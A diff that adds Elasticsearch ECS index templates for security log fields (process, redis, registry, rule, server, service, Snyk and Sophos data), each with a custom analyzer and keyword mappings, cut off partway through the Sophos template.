{ + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "physical_offset": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "physical_size": { + "type": "long" + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "virtual_address": { + "type": "long" + }, + "virtual_size": { + "type": "long" + } + }, + "type": "nested" + }, + "segments": { + "properties": { + "sections": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + }, + "type": "nested" + }, + "shared_libraries": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "telfhash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "end": { + "type": "date" + }, + "entity_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "executable": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "exit_code": { + "type": "long" + }, + "hash": { + "properties": { + "md5": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha1": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha256": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha512": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ssdeep": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "pe": { + "properties": { + "architecture": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "company": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "file_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "imphash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "original_file_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "product": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "pgid": { + "type": "long" + }, + "pid": { + "type": "long" + }, + "ppid": { + "type": "long" + }, + "start": { + "type": "date" + }, + "thread": { + "properties": { + "id": { + "type": "long" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "title": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "uptime": { + "type": "long" + }, + "working_directory": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + } + } + }, + "pe": { + "properties": { + "architecture": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "company": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "file_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "imphash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "original_file_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "product": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "pgid": { + "type": "long" + }, + "pid": { + "type": "long" + }, + "ppid": { + "type": "long" + }, + "start": { + "type": "date" + }, + "thread": { + "properties": { + "id": { + "type": "long" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "title": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "uptime": { + "type": "long" + }, + "working_directory": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/redis.json b/salt/elasticsearch/templates/component/ecs/redis.json new file mode 100644 index 000000000..ac8f9faf2 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/redis.json @@ -0,0 +1,114 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "redis": { + "properties": { + "log": { + "properties": { + "role": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "slowlog": { + "properties": { + "args": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cmd": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "duration": { + "properties": { + "us": { + "type": "long" + } + } + }, + "id": { + "type": "long" + }, + "key": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/registry.json b/salt/elasticsearch/templates/component/ecs/registry.json new file mode 100644 index 000000000..13cdca60e --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/registry.json @@ -0,0 +1,123 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-registry.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "registry": { + "properties": { + "data": { + "properties": { + "bytes": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "strings": { + "type": "wildcard" + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "hive": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "key": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "path": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "value": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/related.json b/salt/elasticsearch/templates/component/ecs/related.json new file mode 100644 index 000000000..58a55392c --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/related.json @@ -0,0 +1,89 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-related.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "related": { + "properties": { + "hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "hosts": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ip": { + "type": "ip" + }, + "user": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/rule.json b/salt/elasticsearch/templates/component/ecs/rule.json new file mode 100644 index 000000000..b9ea3a615 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/rule.json @@ -0,0 +1,156 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-rule.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "rule": { + "properties": { + "author": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "license": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "reference": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ruleset": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "uuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/server.json b/salt/elasticsearch/templates/component/ecs/server.json new file mode 100644 index 000000000..3c297f09f --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/server.json @@ -0,0 +1,374 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-server.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "server": { + "properties": { + "address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "as": { + "properties": { + "number": { + "type": "long" + }, + "organization": { + "properties": { + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + } + } + } + } + }, + "bytes": { + "type": "long" + }, + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "geo": { + "properties": { + "city_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "continent_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "continent_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country_iso_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "location": { + "type": "geo_point" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "postal_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region_iso_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timezone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "ip": { + "type": "ip" + }, + "mac": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "nat": { + "properties": { + "ip": { + "type": "ip" + }, + "port": { + "type": "long" + } + } + }, + "packets": { + "type": "long" + }, + "port": { + "type": "long" + }, + "registered_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subdomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "top_level_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "full_name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "group": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "roles": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/service.json b/salt/elasticsearch/templates/component/ecs/service.json new file mode 100644 index 000000000..bfa90c717 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/service.json @@ -0,0 +1,150 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-service.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "service": { + "properties": { + "address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "environment": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ephemeral_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "node": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "state": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/snyk.json b/salt/elasticsearch/templates/component/ecs/snyk.json new file mode 100644 index 000000000..d210b41a0 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/snyk.json @@ -0,0 +1,297 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "snyk": { + "properties": { + "audit": { + "properties": { + "content": { + "type": "flattened" + }, + "org_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "project_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "projects": { + "type": "flattened" + }, + "related": { + "properties": { + "projects": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "vulnerabilities": { + "properties": { + "credit": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cvss3": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "disclosure_time": { + "type": "date" + }, + "exploit_maturity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "identifiers": { + "properties": { + "alternative": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cwe": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "introduced_date": { + "type": "date" + }, + "is_fixed": { + "type": "boolean" + }, + "is_ignored": { + "type": "boolean" + }, + "is_patchable": { + "type": "boolean" + }, + "is_patched": { + "type": "boolean" + }, + "is_pinnable": { + "type": "boolean" + }, + "is_upgradable": { + "type": "boolean" + }, + "jira_issue_url": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "language": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "original_severity": { + "type": "long" + }, + "package": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "package_manager": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "patches": { + "type": "flattened" + }, + "priority_score": { + "type": "long" + }, + "publication_time": { + "type": "date" + }, + "reachability": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "semver": { + "type": "flattened" + }, + "title": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "unique_severities_list": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/sophos.json b/salt/elasticsearch/templates/component/ecs/sophos.json new file mode 100644 index 000000000..9abba7456 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/sophos.json @@ -0,0 +1,1590 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "sophos": { + "properties": { + "xg": { + "properties": { + "Configuration": { + "type": "float" + }, + "Mode": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "PHPSESSID": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Reports": { + "type": "float" + }, + "Signature": { + "type": "float" + }, + "SysLog_SERVER_NAME": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Temp": { + "type": "float" + }, + "action": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "activityname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ap": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "app_is_cloud": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "appfilter_policy_id": { + "type": "long" + }, + "application": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application_category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application_filter_policy": { + "type": "long" + }, + "application_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application_risk": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application_technology": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "appresolvedby": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "auth_client": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "auth_mechanism": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "av_policy_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "backup_mode": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "branch_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "category_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "classification": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "client_host_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": 